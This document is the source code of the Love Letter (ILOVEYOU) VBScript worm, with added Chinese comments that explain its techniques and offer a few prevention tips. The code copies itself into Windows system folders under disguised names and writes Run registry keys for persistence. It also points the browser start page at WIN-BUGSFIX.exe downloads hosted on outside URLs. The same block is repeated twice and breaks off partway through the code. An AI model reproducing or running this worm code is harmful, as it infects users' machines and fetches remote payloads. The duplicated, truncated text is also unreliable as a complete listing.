' 如果認為本文章可能被壞人利用,請予以刪除。
' 程序中的中文注釋為本人所加,并針對病毒特點予以解釋,同時,給出了預防病毒的方法。
' 我個人認為Love Letter寫的并不是十分的棒,但是它使用的不少技術確實令人贊嘆
' 病毒作者也許沒有受過專業(yè)的編程訓練,但是從選擇的程序資源來看,確實下了一番功夫。
' 本病毒源碼也可以用來回答VB愛好者的很多問題。
rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
pines
' 注釋:程序作者的簽名(可能)
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
' 注釋:FileSystemObject是M$ VBVM系統(tǒng)中最危險的部分,它的功能十分強大
' 從病毒使用FSO可以知道,通過修改注冊表,可以輕易防止 Love Letter發(fā)作。
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
' 注釋 - 程序初始化完成。
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin
g Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
' 注釋 - 防止操作超時造成的程序終止。
' 應該說,編寫病毒的程序員考慮到了可能發(fā)生的問題,這一點值得所有的編程
者借鑒。
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
' 獲取系統(tǒng)關鍵文件夾的名稱
' VB編程時可以用。
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
' 復制自身到關鍵目錄中備用。
' 文件名并不是很好。太容易被發(fā)現(xiàn)了。
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
' 修改注冊表,以便自動裝載病毒程序
' 預防:經(jīng)常檢查注冊表中的這一分支。
' 已知的方法還有把HTA放入Startup文件夾。病毒程序使用的方法更先進,
' 因為它不會因為語言問題而失效。
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
r\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkboPBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqWebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
UGSFIX.exe"
end if
end if
' 程序中的中文注釋為本人所加,并針對病毒特點予以解釋,同時,給出了預防病毒的方法。
' 我個人認為Love Letter寫的并不是十分的棒,但是它使用的不少技術確實令人贊嘆
' 病毒作者也許沒有受過專業(yè)的編程訓練,但是從選擇的程序資源來看,確實下了一番功夫。
' 本病毒源碼也可以用來回答VB愛好者的很多問題。
rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
pines
' 注釋:程序作者的簽名(可能)
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
' 注釋:FileSystemObject是M$ VBVM系統(tǒng)中最危險的部分,它的功能十分強大
' 從病毒使用FSO可以知道,通過修改注冊表,可以輕易防止 Love Letter發(fā)作。
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
' 注釋 - 程序初始化完成。
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin
g Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
' 注釋 - 防止操作超時造成的程序終止。
' 應該說,編寫病毒的程序員考慮到了可能發(fā)生的問題,這一點值得所有的編程
者借鑒。
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
' 獲取系統(tǒng)關鍵文件夾的名稱
' VB編程時可以用。
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
' 復制自身到關鍵目錄中備用。
' 文件名并不是很好。太容易被發(fā)現(xiàn)了。
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
' 修改注冊表,以便自動裝載病毒程序
' 預防:經(jīng)常檢查注冊表中的這一分支。
' 已知的方法還有把HTA放入Startup文件夾。病毒程序使用的方法更先進,
' 因為它不會因為語言問題而失效。
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
r\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkboPBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqWebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
UGSFIX.exe"
end if
end if